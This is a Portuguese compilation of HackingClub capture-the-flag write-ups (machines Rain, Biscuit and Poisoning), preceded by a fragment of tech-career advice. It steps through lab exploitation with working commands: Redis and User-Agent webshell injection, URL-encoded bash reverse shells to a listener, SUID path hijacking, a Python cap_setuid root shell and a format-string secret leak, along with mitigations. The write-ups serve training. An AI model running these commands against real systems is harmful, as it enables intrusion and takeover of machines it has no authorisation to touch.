• Mercados de RPA/hiperautomação seguem em crescimento e estão convergindo com IA; empresas buscam ganhos de eficiência agora. Predictions and Trends by BluePrism
• Rota rápida (0–3 meses): um stack de RPA (UiPath/Power Automate), automação de tarefas de escritório, integrações API.
• Primeiros projetos: robot de contas a pagar; extração de dados de PDFs; “copilots” internos.
• Como evoluir (6–12 meses): combinar RPA + LLM (classificar e redigir), governança e métricas.

🛜Pessoas para seguir: ??????

🥸Como orientar-se: para quem está começando (sem experiência)

Escolher 1 trilha e fazer alguns projetos, 2-3 projetos práticos que resolvam dores reais (portfólio público no GitHub + case curto no LinkedIn).

Certificação de entrada (opcional, ajuda a sinalizar):

• IA/Cloud: AWS Cloud Practitioner ou AZ-900.
• Cyber: Security+ ou Blue Team Level 1.
• Dados: Google Data Analytics/IBM Data Analyst.
• RPA: UiPath Associate / Power Automate Fundamentals.

Estágio/freela rápido: procurar job titles equivalentes em PT/EN (ex.: “Jr. SOC Analyst”, “Platform/DevOps Intern”, “AI App Developer”, “Junior Data Analyst”).

Nota realista: apesar de cortes em áreas tradicionais, tech como um todo segue crescendo acima da média, e funções de IA, dados, nuvem e segurança concentram a demanda de 2025 em diante. Foque em skills comprovadas e projetos que mostrem impacto. Bureau of Labor Statistics

Target: Rain ☔
Dificuldade: Dificil 🐔
Plataforma: HackingClub
Sistema Operacional: Linux
Tempo de Exploração: 7–8 hrs (Esse foi o tempo que eu levei)
Vulnerabilidades conhecidas: Git Exposed, SSRF, Local File Read, Redis, RCE, Path Hijacking
Status: PWNED 🎯

Este writeup documenta a solução completa de um CTF que envolveu múltiplas vulnerabilidades encadeadas, desde reconnaissance inicial até privilege escalation para root. O ambiente apresentava 4 flags distribuídas através de diferentes vetores de ataque, exigindo uma abordagem metodológica e o domínio de várias técnicas de penetration testing.

Objetivo: Encontrar 4 flags através da exploração de vulnerabilidades.

Fase 1: Reconnaissance e Enumeração

Análise Inicial da Aplicação

O primeiro passo foi acessar a aplicação web que apresentava apenas uma página com uma imagem de chuva animada. A análise do código fonte revelou informações iniciais importantes:

<link rel="stylesheet" href="./style.css">

O arquivo CSS mostrava URLs externas sendo carregadas:

section {
    background-image: url(https://medium.com/'/HenriPrestes_02.jpg');
}
section::before {
    background-image: url(https://medium.com/'http://pngimg.com/uploads/rain/rain_PNG13468.png');
}

Port Scanning e Service Discovery

Fiz um scan rapido;

nmap -sV -sC 172.16.7.200

Resultados:

• 22/tcp: SSH OpenSSH 7.4
• 80/tcp: HTTP (PHP 7.4.26) — WorldSkills WebServer
• 443/tcp: HTTPS (PHP 7.4.26) — WorldSkills WebServer
• 111/tcp: RPC

Parti para o Directory Enumeration.

dirsearch -u http://172.16.7.200 -e php,html,js,txt

Descobertas importantes:

• /robots.txt - Continha diretório restrito
• /admin-secret-panel/ - Panel administrativo
• /search/ - Diretório com redirect 301

O que é o robots.txt?

O arquivo robots.txt é um padrão web usado por sites para se comunicar com web crawlers e bots de motores de busca. Ele informa a esses programas automatizados quais partes do site eles devem ou não devem acessar.

Quando realizamos a enumeração de diretórios no alvo, encontramos:

User-agent: *
Disallow: /admin-secret-panel/
Allow: /search

Detalhando essa configuração:

User-agent: *

• O asterisco (*) significa que esta regra se aplica a TODOS os web crawlers

Disallow: /admin-secret-panel/

• Isso instrui os crawlers a NÃO indexar ou visitar o diretório /admin-secret-panel/
• Do ponto de vista de segurança, isso é problemático porque revela a existência de um diretório sensível
• É essencialmente como anunciar “Ei, há um painel de admin aqui, mas não olhe para ele”

Allow: /search

• Isso permite explicitamente que os crawlers acessem o diretório /search

Acesso ao Admin Panel

O admin panel era protegido por autenticação básica que foi facilmente bypassada com credenciais padrão:

Credenciais: admin:admin

O panel mostrava uma mensagem “This admin panel is currently under construction” mas isso era apenas o começo.

Fase 2: Git Exposed — Source Code Extraction

Descoberta do Repositório Git

Através de directory enumeration mais detalhada no admin panel:

Descoberta crítica: .git directory exposto em /admin-secret-panel/.git/

Extração do Código Fonte

Eu usei o git-dumper, mas da pra fazer com outras tools tambem.

git-dumper http://172.16.13.206/admin-secret-panel/.git/ ./admin_git/

Análise do Código Extraído

Estrutura do projeto:

admin_git/
├── .git/
├── includes/
│   ├── AuthController.php
│   └── HomeController.php
├── index.php
└── views/
    ├── admin.php
    ├── login.php
    └── test.php

index.php — Primeira Flag e Actions Descobertas

test.php — SSRF Vulnerability Discovery

O arquivo test.php foi o mais interessante, e revelou uma vulnerabilidade crítica de SSRF:

<?php 
if(isset($_POST['url'])){
    $url = $_POST['url'];
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
}
?>

Esta descoberta foi fundamental: um formulário que aceita URLs e faz requisições via cURL!

AuthController.php — Database Credentials

Ja tinha bastante coisa pra brincar, hora de colocar tudo isso a prova.

Fase 3: SSRF e Local File Read Exploitation

Acessando o Endpoint SSRF

Com as informações do código fonte, foi possível acessar o endpoint vulnerável:

Apos algumas tentativas, consegui ler o /etc/passwd, achei nosso ponto de entrada e padrão a ser explorado.

Descoberta da Configuração do Redis

Através do LFI, foi possível ler o arquivo de configuração do Redis:

Eu não sabia aonde procurar, pois o output era gigante. Então comecei a buscar por palavras chaves como username, password, key, e encontrei a segunda flag e a senha do REDIS.

Fase 4: Redis Exploitation e RCE

Acesso Direto ao Redis

Com a senha em mãos, agora o ponto era explorar o REDIS.

Tentativa de RCE via Redis:

Procurei na net, e encontrei esse artigo aqui falando sobre: https://hacktricks.boitatech.com.br/pentesting/6379-pentesting-redis

172.16.14.17:6379> FLUSHALL
172.16.14.17:6379> SET webshell "<?php system($_GET['cmd']); ?>"
172.16.14.17:6379> CONFIG SET dir /var/www/html
172.16.14.17:6379> CONFIG SET dbfilename shell.php
172.16.14.17:6379> SAVE
(error) ERR

Mas eu tive um problema, o SAVE falhou!

Mas então lembrei do diretório /search que encontramos durante enumeração, mandei pra lá funcionou! /var/www/html/search

Aqui está nossa queria webshelzin.php

Tudo certo para começar o proximo passo, uma reverse shell.

Estabelecendo Reverse Shell

Com a webshell criada em /search/webshelzin.php, foi possível estabelecer uma reverse shell:

# Listener
nc -lvnp 4444

# Payload via webshell
http://172.16.7.103/search/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

Eu tentei passei direto, mas não funcionou (como eu havia imaginado), então passei um URL Enconde, e agora sim!

http://172.16.7.103/search/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261%27

Usuário obtido: john

Fase 5: Database Exploitation e Password Cracking

Acesso ao MySQL

Não encontrei a flag com esse usuário, então o próximo passo foi voltar e usar a senha que pegamos no AuthController.php, e buscar por info no banco de dados.

A senha estava estava com hash de bcrypt, usei o hashcat para quebrar, foi bem rápido até, 7 segundos.

hashcat -m 3200 -a 0 hashes.txt rockyou.txt

Com a senha do Sysadmin, agora era hora de logar com a conta desse usuario.

Depois disso foi facil encontrar 3 flag;

Interessante foi item em vermelho chamado code, possivelmente uma dica para a próxima flag.

Análise do Binário CODE

Fiz uma analise básica, para entender o que era e as permissões do arquivo em questão.

Esta seção representa uma das descobertas mais críticas na nossa fase de escalação de privilégios. Vou detalhar cada aspecto do que estamos vendo aqui.

A Saída do ls -la code

-rwsr-xr-x 1 root root 8328 Mar  6  2022 code

Permissões do Arquivo: -rwsr-xr-x

• -: Este é um arquivo regular (não um diretório d ou link l)
• rws: Permissões do proprietário (root)
• r: Root pode ler o arquivo
• w: Root pode escrever no arquivo
• s: CRÍTICO - Este é o bit SUID ao invés do x normal

Por que Isso é uma Mina de Ouro para Atacantes

Condições da Tempestade Perfeita:

1. Bit SUID definido — Executa como root
2. Pertence ao root — Privilégios máximos
3. Executável por todos — Qualquer usuário pode executar
4. Localizado no diretório do usuário — Fácil acesso
5. Binário customizado — Provavelmente tem vulnerabilidades

Técnicas Comuns de Exploração SUID

1. Execução Direta de Comandos

Se o binário executa comandos do sistema, podemos tentar:

• Injetar comandos
• Manipular argumentos
• Explorar o parsing de comandos

2. Path Hijacking (Nosso método bem-sucedido)

Se o binário chama outros programas sem caminhos completos:

# Binário chama "date" ao invés de "/bin/date"
# Podemos criar um "date" malicioso em /tmp
# Modificar PATH para encontrar nossa versão primeiro

3. Library Hijacking

Como é dinamicamente linkado, podemos potencialmente:

• Substituir bibliotecas compartilhadas
• Usar LD_PRELOAD para injetar código

4. Buffer Overflow

Binários customizados frequentemente têm:

• Problemas de validação de entrada
• Vulnerabilidades de corrupção de memória

🏴‍☠️ Processo de Exploração

Passo 1: Entendendo o comportamento

Passo 2: Hipótese

• Binário provavelmente chama o comando date internamente
• Provavelmente usa system("date") ou similar

Passo 3: Configuração do Path Hijacking

# Criar comando date malicioso
echo '#!/bin/bash' > /tmp/date
echo '/bin/bash' >> /tmp/date
chmod +x /tmp/date

# Sequestrar PATH
export PATH=/tmp:$PATH

# Executar o codigo
./code

Foi mais tranquilo do que eu pensei;

Depois disso era so buscar a ultima flag para fechar o desafio!

Por que o Path Hijacking Funcionou

O código vulnerável provavelmente era assim:

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Custom print date: \n");
    system("date");  // VULNERÁVEL - sem caminho completo!
    return 0;
}

Ao invés de código seguro:

system("/bin/date");  // SEGURO - caminho completo

Esta descoberta foi a peça final do nosso quebra-cabeça de escalação de privilégios, demonstrando como um único binário mal configurado pode levar ao comprometimento completo do sistema.

Resumo das Vulnerabilidades Exploradas

1. Information Disclosure

• Git Exposed: Código fonte completo exposto.

2. Authentication Bypass

• Weak Credentials: admin:admin para admin panel.
• Password Cracking: Hashes bcrypt quebrados com hashcat.

3. Server-Side Request Forgery (SSRF)

• Endpoint: /admin-secret-panel/index.php?action=unlock_panel_for_test
• Impact: Acesso a serviços internos (Redis).

4. Local File Inclusion (LFI)

• Vector: Protocolo file:/// via formulário SSRF.
• Impact: Leitura completa do filesystem.

5. Database Exposure

• Redis: Credenciais em arquivo de configuração.
• MySQL: Credenciais hardcoded no código fonte.

6. Remote Code Execution (RCE)

• Vector: Redis write to webroot + webshell.
• Impact: Execução de comandos como usuário web.

7. Privilege Escalation

• SUID Binary: Binário com setuid bit explorado via path hijacking.
• Impact: Escalação de sysadmin para root.

Lições Aprendidas e Mitigações

Mitigações por Vulnerabilidade

Git Exposed

• Configurar .gitignore adequadamente.
• Remover .git de ambientes de produção.
• Usar ferramentas de scan para verificar exposição.

SSRF

• Validar e sanitizar URLs de entrada.
• Implementar whitelist de hosts permitidos.
• Usar bibliotecas seguras para requisições HTTP.

LFI

• Nunca passar input do usuário diretamente para funções de arquivo.
• Implementar validação rigorosa de paths.
• Usar chroot ou containers para isolamento.

Database Security

• Nunca hardcodar credenciais no código.
• Usar variáveis de ambiente ou vaults.
• Implementar princípio do menor privilégio.

SUID Binaries

• Evitar SUID quando possível.
• Usar paths absolutos em binários SUID.
• Implementar validação rigorosa de entrada.

Metodologia de Approach

Este CTF demonstrou a importância de uma abordagem metodológica:

1. Reconnaissance sistemático.
2. Enumeração completa de serviços.
3. Análise de código fonte quando disponível.
4. Encadeamento de vulnerabilidades.
5. Documentação completa do processo.

Conclusão

Este CTF apresentou um cenário realístico que cobriu múltiplas vulnerabilidades comuns em ambientes reais.

O encadeamento das vulnerabilidades mostrou como uma única falha de segurança (Git exposed) pode levar à compromissão completa do sistema através de uma cadeia de exploração bem executada.

Total de flags capturadas: 4/4.
Técnicas utilizadas: 7 vetores de ataque diferentes.
Tempo aproximado: Várias horas de exploração sistemática (8hrs+)

Este exercício demonstra a importância da implementação de múltiplas camadas de segurança e da aplicação do princípio de defesa em profundidade em ambientes de produção.

🎯 Informações Gerais

Target: 172.16.9.251 — Biscuit
Dificuldade: Média 🐤
Plataforma: HackingClub
Sistema Operacional: Linux
Tempo de Exploração: 5–6hrs (Esse foi o tempo que eu levei)
Status: PWNED
🎯Vulnerabilidades Conhecidas: RFI, Type Juggling, Credenciais Fracas, Manipulação de Cookies, Falha de Controle de Acesso Root

📋 Resumo Executivo

Este relatório documenta uma das explorações mais educativas que demonstra como vulnerabilidades aparentemente menores podem ser encadeadas para comprometimento total. Nossa jornada através da máquina “Biscuit” revelou uma cadeia de vulnerabilidades interconectadas que, quando exploradas sequencialmente, resultaram em acesso root completo. A exploração exigiu criatividade, persistência e conhecimento técnico profundo, culminando em uma das escalações de privilégio mais elegantes que já executamos.

🏆 Flags Capturadas:

1. Flag 1: Falha explorada — Cookie Tampering
2. Flag 2: Falha explorada — Type Juggling + RFI
3. Flag 3: Falha explorada — Format String + Privilege Escalation

Esta não foi apenas uma exploração técnica — foi uma jornada de descoberta que demonstra por que a segurança cibernética é tanto arte quanto ciência.

• 3 Flags Conquistadas — Cada uma mais desafiadora que a anterior
• 5 Vulnerabilidades Exploradas — Type Juggling, Cookie Tampering, RFI, Format String, Hardcoded Secrets
• Incontáveis Lições Aprendidas — Sobre persistência, criatividade e elegância técnica.

🔍 Fase 1: Reconhecimento — “Batendo na Porta Principal”

Nossa aventura começou da forma mais tradicional possível — batendo na porta principal para ver quem estava em casa.

Descoberta Inicial

whatweb http://172.16.9.251

Resultados:

• Apache 2.4.48 + PHP 7.4.19
• Página de login com campos username/password
• Cookie PHPSESSID presente

Foi como analisar a fachada de uma casa antes de tentar entrar — queria saber que tipo de fechaduras estava enfrentando.

Enumeração de Diretórios

Comecei a procurar por portas dos fundos, janelas deixadas abertas, ou qualquer acesso alternativo.

gobuster dir -u http://172.16.9.251 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

Descobertas que mudariam tudo:

• /index.php - Endpoint principal
• /class/ - Diretório com classes PHP
• /class/Auth.class.php - Classe de autenticação
• /.html - Arquivo com status 403

Cada descoberta era como encontrar uma peça de um quebra-cabeças complexo.

🔓 Fase 2: O Mistério do Type Juggling — “A Porta Entreaberta”

Foi aqui que minha jornada tomou uma direção inesperada.

A Descoberta que Mudou Tudo

Estava testando credenciais básicas quando algo estranho aconteceu:

• Credenciais admin/admin → ❌ "Usuario ou senha inválido!" (6906 bytes)
• Credenciais admin/0 → ✅ Silêncio suspeito (6773 bytes)
• Credenciais 0/0 → ✅ Mais silêncio suspeito (6773 bytes)

O momento “Eureka!”:

A diferença de exatos 133 bytes entre as respostas foi nossa primeira pista real. Era como perceber que uma porta que deveria estar trancada na verdade só estava encostada. Esses 133 bytes eram exatamente o tamanho da mensagem de erro que não estava aparecendo.

Descobri então o que estava diante de um caso clássico de Type Juggling em PHP — uma vulnerabilidade onde comparações fracas (==) podem produzir resultados inesperados. Era como ter uma chave que não deveria funcionar, mas funcionava porque a fechadura estava mal projetada.

🎯 Fase 3: Exploração — Primeira Flag

Cookie Manipulation Attack

Descoberta do Login Guest:

Aqui foi bem tranquilo, eu só fui tentando uma lista dos 10 usuários e senha mais utilizados que encontrei na web, e quando cheguei na guest:guest funcionou.

• Credenciais: guest:guest (credenciais fracas)
• Obteve cookie de sessão válido

Aqui tudo mudou, eu tinha um usuario e um cookie de sessão válido!

Análise do Cookie:

O momento da verdade:

Olhando para essa estrutura, uma ideia brilhante surgiu: se Type Juggling funcionava para senhas, por que não funcionaria para HMACs? Era hora de testar nossa teoria na prática.

O payload que mudou o jogo:

{"hmac":"85570f175991dc425c443fe71f8ba8da","username":"admin","expiration":1754354446}7

#passei no bas64 novamente, e injetei via browser, mas agora com username admin.
eyJobWFjIjoiODU1NzBmMTc1OTkxZGM0MjVjNDQzZmU3MWY4YmE4ZGEiLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwaXJhdGlvbiI6MTc1NDM1NDQ0Nn03

Modifiquei o username para admin mas mantive o HMAC original. Era como tentar usar um cartão de crédito com nome trocado mas mesma assinatura - teoricamente não deveria funcionar, mas...

🏆 Primeira Flag Conquistada!

Era como ser pego tentando entrar pela janela, mas o alarme que disparou nos deu exatamente a informação que precisávamos: A Flag! Às vezes, ser pego é parte do plano!

🚀 Fase 4: A Obra-Prima — “Quando 1+1=Acesso Total”

Agora vinha a parte mais criativa da nossa jornada. Eu tinha duas vulnerabilidades distintas: Type Juggling e cookie tampering detectado.

Se o sistema detectava manipulação de cookie, mas ainda processava o conteúdo, talvez pudéssemos usar isso a nosso favor. E se o campo username não fosse apenas um identificador, mas um vetor de ataque?

O payload que fez história:

Mesmo esquema, peguei um reverse shell php na internet, criei o arquivo shellzin.php , subi meu servidor http e tudo pronto!

O plano era o seguinte:

Criar um Shell localmente: Shellzin.php
Subir um servidor local, para transferir a shell para o servidor remoto.
Usar o cookie para baixar a shell para dentro do servidor remoto.
Torce para que fosse executado 😵‍💫.

joguei no CyberChef:

O plano agora era só colocar tudo em prática.

Resultado: Reverse shell como usuário apache

🏆 Flag 2 Capturada:

⬆️ Fase 5: Privilege Escalation — Terceira Flag

Enumeração do Sistema

Informações do Sistema:

whoami          # apache
id              # uid=48(apache) gid=48(apache)
uname -a        # Amazon Linux 2, kernel 4.14.232

Descoberta Crítica — Sudo Permissions:

sudo -l
# User apache may run the following commands:
# (ALL) NOPASSWD: /opt/biscuit_checker.py

Esse sudo -l está te dizendo que o usuário apache tem permissão para executar exactamente o comando /opt/biscuit_checker.py como qualquer usuário (incluindo root) sem precisar digitar senha.

Em outras palavras:
(ALL): ele pode executar esse script como qualquer usuário alvo do sistema (por padrão, root).
NOPASSWD: não vai pedir senha de sudo para rodá-lo.

Análise do Script Python

Tentativas Iniciais (Fracassadas):

• Command injection no menu;
• Python library hijacking (bloqueado por sudo);
• Environment variable manipulation (bloqueado);

Nada estava funcionando!

Esse script python não tinha muita coisa, eu não conseguia ler o mesmo também, somente executar.

Parece que o script tinha uma função de bloquear IPs que fossem adicionados, mas nenhuma das opções eram muito funcionais.

Descoberta do Arquivo JSON Manipulável

Como o script fazia algo como bloquear ou listar endereços de IP’s bloqueados, eu procurei por arquivos no sistema que tivessem a palavra block envolvida, encontrei um na pasta www.

Arquivo encontrado:

• /var/www/html/block.ips.db.json
• Permissões de escrita para usuário apache
• Usado pelo script Python executado como root;

Conteúdo inicial:

Eu não fazia ideia do que fazer com isso, fiquei umas 2 horas pesquisando online.

{"ips":[]}

Foi então que a dica na descrição da maquina me ajudou a chegar aonde no próximo passo; Format String

Eu tentei causar errors na aplicação para estudar o output:

A ideia agora era como usar isso :D.

Infinitas horas depois, eu consegui chegar na seguinte payload.

{"ips":["{ip.list_blocked.__globals__}"]}

Execução:

sudo /opt/biscuit_checker.py
# Opção 2 - List Blocked IPs

E o resultado foi a senha do root :D.

Flag Final:

Com a senha do usuário root em mão, agora era so ler o ultimo arquivo de flag e terminar nosso desafio!

🏆 Flag 3 Capturada

📊 Cadeia de Exploração

1. Reconhecimento → Descoberta de login page
2. Type Juggling → Bypass parcial de autenticação  
3. Credenciais Fracas → Login como guest:guest
4. Cookie Analysis → Descoberta da estrutura JSON
5. HMAC Bypass → Type juggling com hmac:true
6. RFI Exploitation → Remote code execution via username field
7. Reverse Shell → Acesso como apache
8. Sudo Enumeration → Descoberta do script Python
9. File Write Permission → Controle sobre JSON file
10. Format String → Extração de variáveis globais
11. Secret Extraction → Descoberta da senha root
12. Privilege Escalation → su root com senha extraída

🛡️Monitoramento Recomendado

# Log analysis patterns
grep "Type juggling attempt" /var/log/apache2/access.log
grep "Cookie manipulation" /var/log/security.log
grep "RFI attempt" /var/log/php_errors.log
grep "Format string exploit" /var/log/python.log

A Metodologia OWASP em Ação

• Reconhecimento sistemático — Cada porta, cada janela foi verificada
• Enumeração completa — Nenhum diretório foi deixado sem investigação
• Exploração incremental — Cada vulnerabilidade foi um degrau para a próxima
• Privilege escalation metódica — Do guest ao apache ao root, passo a passo

📝 Conclusão — “O Fim de Uma Jornada, Início de Muitas Outras”

A máquina CTF “Biscuit” se revelou muito mais do que um simples desafio técnico — foi uma masterclass em pensamento criativo aplicado à segurança cibernética.

Maquina: Poisoning
Plataforma: https://app.hackingclub.com
Dificuldade: Facil 🐣

🎯 Introdução

O CTF “Poisoning” é uma máquina Linux que explora uma vulnerabilidade clássica porém devastadora: Local File Inclusion (LFI) combinada com Log Poisoning para obter Remote Code Execution (RCE). A escalação de privilégios utiliza Python com capabilities especiais (cap_setuid+ep).

Dificuldade: Intermediário
SO: Linux Ubuntu
Técnicas: LFI, Log Poisoning, RCE, Privilege Escalation via Capabilities

🔍 Fase 1: Reconhecimento

Descoberta de Serviços

Começamos com um scan básico da máquina:

# Verificação de conectividade
ping -c 4 172.16.14.211
# Scan de portas
nmap -sS -T4 -p- 172.16.14.211

Resultado: Apenas a porta 80 (HTTP) estava aberta e 22 (SSH), executando Apache/2.4.29 (Ubuntu).

Enumeração Web

Acessando a aplicação web, encontramos uma página sobre tecnologia criada com o framework Nicepage. A página inicial mostrava conteúdo estático, mas havia um link para “Page 2” que redirecionava para /page.php.

Enumeração de diretórios:

dirb http://172.16.14.211/ /usr/share/dirb/wordlists/common.txt

Descobertas importantes:

• /images/ - Diretório com arquivos PNG
• /index.php - 39277 bytes
• /page.php - 39158 bytes (119 bytes menor que index.php)
• /.htaccess - FORBIDDEN (arquivo existe!)

🎯 Fase 2: Análise de Vulnerabilidades

Identificação da Diferença Crítica

Ao analisar o código-fonte do index.php versus page.php, encontrei uma diferença crucial na linha 35:

<!-- index.php -->
<body data-home-page="https://website721425.nicepage.io/Page-2.html?version=4d5ab4d3-2623-42f3-967b-d1e931100c62" 
      data-home-page-title="Page 2" class="u-body">

Esta linha sugere que a aplicação utiliza parâmetros para carregar conteúdo.

Descoberta do LFI

Após extensos testes com diferentes parâmetros (page, file, include, content, view, etc.), finalmente descobri que o parâmetro page no index.php era vulnerável:

# Tentativa inicial
curl "http://172.16.14.211/index.php?page=.htaccess"

Observação importante: O conteúdo era refletido no HTML da página!

Confirmação do LFI

# Payload que funcionou
http://172.16.14.211/index.php?page=../../../../../etc/passwd

Resultado: Consegui ler o /etc/passwd e identificar usuários importantes:

• root (UID 0) — /bin/bash
• ubuntu (UID 1000) — /bin/bash
• www-data (UID 33) — Usuário do Apache

🔥 Fase 3: Log Poisoning para RCE

Localização dos Logs

Com o LFI confirmado, procurei pelos logs do Apache:

# Testando diferentes caminhos
http://172.16.14.211/index.php?page=../../../../../var/log/apache2/access.log
http://172.16.14.211/index.php?page=../../../../../var/log/apache2/error.log

Sucesso! Consegui ler o access.log do Apache.

Injeção de PHP via User-Agent

O truque do Log Poisoning é injetar código PHP malicioso no log através do cabeçalho User-Agent:

# Injetando PHP no User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://172.16.14.211/

Execução de Comandos

Após a injeção, o código PHP fica armazenado no log. Quando acessamos o log via LFI, o PHP é interpretado:

# Executando comandos
http://172.16.14.211/index.php?page=../../../../var/log/apache2/access.log&cmd=ls

Resultado no log:

10.0.31.133 - - [03/Aug/2025:00:04:06 +0000] "GET / HTTP/1.1" 200 39469 "-" "Page-2.css
images
index.php
jquery-1.9.1.min.js
nicepage.css
nicepage.js
page.php"

🎉 RCE Confirmado!

🚀 Fase 4: Reverse Shell

Estabelecendo Conexão Reversa

Com RCE funcional, estabeleci um reverse shell, tive que encodar a shell pois sem encode não estava funcionando:

Shell decodada:

bash -c 'bash -i >& /dev/tcp/MEU-IP/4444 0>&1'

# No Kali - preparando listener
nc -nvlp 4444
# Via RCE - executando reverse shell (URL encoded)
&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FMEUIP%2F4444%200%3E%261%27

Sucesso! Shell reverso estabelecido como usuário www-data.

🏆 Fase 5: Privilege Escalation

Investigação de Capabilities

O CTF mencionava escalação via Python com cap_setuid+ep.

🔐 Linux Capabilities: cap_setuid+ep Explicado

Vou explicar detalhadamente essa vulnerabilidade crítica do Linux!

🎯 O que são Linux Capabilities?

Linux Capabilities são uma forma de dividir os privilégios do usuário root em unidades menores e mais específicas. Em vez de dar privilégios totais de root, você pode conceder apenas as permissões específicas necessárias.

Problema que resolve:

• Antes: Ou você é root (tudo) ou usuário comum (quase nada)
• Depois: Você pode ter privilégios específicos sem ser root completo

🔍 CAP_SETUID Específicamente

O que faz:

CAP_SETUID permite que um processo altere seu User ID (UID) para qualquer valor, incluindo 0 (root).

Funções que utiliza:

• setuid() - Muda o UID do processo
• setreuid() - Muda UID real e efetivo
• setresuid() - Muda UID real, efetivo e saved

// Exemplo em C
#include <unistd.h>
#include <sys/types.h>

int main() {
    setuid(0);  // Muda para UID 0 (root)
    system("/bin/bash");  // Executa shell como root
    return 0;
}

⚡ O que significa “+ep”?

As capabilities têm 3 conjuntos de flags:

📋 Os 3 Conjuntos:

1. e (Effective) - Capabilities ativas no momento
2. p (Permitted) - Capabilities que podem ser ativadas
3. i (Inheritable) - Capabilities passadas para processos filhos

+ep significa:

• e - A capability está ATIVA
• p - A capability está PERMITIDA

# Exemplo de saída do getcap
/usr/bin/python3 = cap_setuid+ep
#                            ^^
#                            ||
#                   Effective + Permitted

🎯 Como Explorar cap_setuid+ep

1. Identificação:

# Procurar por arquivos com cap_setuid
getcap -r / 2>/dev/null | grep setuid

# Resultado típico:
/usr/bin/python3 = cap_setuid+ep

2. Verificação dos flags:

# Ver capabilities de um arquivo específico
getcap /usr/bin/python3
/usr/bin/python3 = cap_setuid+ep

3. Exploração:

Da pra fazer via bash ou python, pelo menos são as que eu vi nesse challenge;

# Em Python
import os
os.setuid(0)        # Muda para UID 0 (root)
os.system('/bin/bash')  # Executa shell como root

# Via Bash
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

⚠️ Por que é Perigoso?

1. Escalação Direta:

• Sem necessidade de exploits complexos
• Sem necessidade de senha
• Execução direta para root

2. Bypass de Proteções:

• Não aparece em sudo -l
• Não requer configuração de sudoers
• Difícil de detectar sem auditoria específica

3. Persistência:

• Capabilities são permanentes no arquivo
• Sobrevivem a reinicializações
• Difíceis de remover acidentalmente

🛡️ Como Detectar e Mitigar

1. Auditoria Regular:

# Script de auditoria
#!/bin/bash
echo "=== AUDITORIA DE CAPABILITIES ==="
getcap -r / 2>/dev/null | grep -E "(setuid|setgid|dac_override)"

# Verificar especificamente interpreters
find /usr/bin /usr/local/bin -name "python*" -o -name "perl*" -o -name "ruby*" | xargs getcap 2>/dev/null

2. Remoção de Capabilities:

# Remover capability perigosa
sudo setcap -r /usr/bin/python3

# Verificar se foi removida
getcap /usr/bin/python3
# (sem output = sem capabilities)

3. Monitoramento:

# Adicionar ao rsyslog/auditd
# /etc/audit/rules.d/capabilities.rules
-a always,exit -F arch=b64 -S setuid,setreuid,setresuid -F success=1 -k privilege_escalation

4. Princípio do Menor Privilégio:

# Em vez de cap_setuid+ep, use capabilities mais específicas
# Exemplo: apenas permitir bind em portas baixas
sudo setcap cap_net_bind_service+ep /usr/bin/myapp

🎓 Outros Capabilities Perigosos

💡 Resumo Executivo

cap_setuid+ep é perigoso porque:

1. Permite alteração direta do UID para 0 (root)
2. Não requer senha ou sudo
3. Difícil de detectar sem auditoria específica
4. Exploração trivial em Python/Perl/Ruby

Defesa:

1. Auditoria regular de capabilities
2. Remoção de capabilities desnecessárias
3. Monitoramento de uso de setuid()
4. Princípio do menor privilégio sempre

🔥 Em resumo: cap_setuid+ep em interpreters = escalação instantânea para root!

Voltando ao CTF:

O proximo passo era usar o cap_setuid+ep, conforme eu expliquei acima.

Investiguei:

www-data@ip-172-16-14-211:/var/www/html$ whoami
www-data
www-data@ip-172-16-14-211:/var/www/html$ which python3
/usr/bin/python3

Python com cap_setuid+ep permite alterar o UID efetivo do processo. O exploit é direto:

# Escalação para root
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Resultado:

www-data@ip-172-16-14-211:/var/www/html$ python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
root@ip-172-16-14-211:/var/www/html#

🎉 ROOT OBTIDO!

Agora é só pegar as flags, para esse desafio eram 2.

A primeira flag com o usuario www, para comprovar o LFI Poisioning.

E a segunda flag com o usuario root, para confirmar a escalada de privilegios.

🏁 Flags Capturadas

🎓 Lições Aprendidas

1. Local File Inclusion (LFI)

• Sempre teste parâmetros que possam incluir arquivos
• Preste atenção em como o conteúdo é refletido (HTML vs source)
• Use diferentes níveis de directory traversal (../../, ../../../, etc.)

2. Log Poisoning

• Logs do Apache são alvos clássicos para poisoning
• User-Agent é um vetor comum para injeção
• Combine LFI + Log Poisoning = RCE

3. Linux Capabilities

• cap_setuid+ep em binários permite escalação direta
• Python com essas capabilities é especialmente perigoso
• Sempre verifique capabilities com getcap -r /

4. Metodologia de Pentesting

• Reconhecimento detalhado é fundamental
• Pequenas diferenças podem indicar vulnerabilidades
• Persistência na enumeração compensa

🛡️ Mitigações

Para LFI:

• Validação rigorosa de entrada
• Whitelist de arquivos permitidos
• Uso de basename() para evitar directory traversal
• Configuração adequada de open_basedir

Para Log Poisoning:

• Sanitização de headers HTTP
• Logs em diretórios não acessíveis via web
• Validação de User-Agent

Para Capabilities:

• Princípio do menor privilégio
• Auditoria regular de capabilities
• Remoção de capabilities desnecessárias

🔗 Referências

• OWASP — File Inclusion
• Linux Capabilities
• Log Poisoning Techniques

Happy Hacking! 🔒🔓

Se você gostou deste writeup, deixe um clap e me siga para mais conteúdo sobre cybersecurity e penetration testing!

O LFI Log Poisoning é uma técnica avançada de exploração que combina duas vulnerabilidades distintas para obter execução remota de código. Neste artigo, vamos explorar desde os conceitos básicos até um walkthrough prático de uma máquina de estudos.

⚠️ Aviso Legal: Este conteúdo é puramente educacional e deve ser usado apenas em ambientes controlados e autorizados para fins de aprendizado em segurança cibernética.

O que é LFI Log Poisoning?
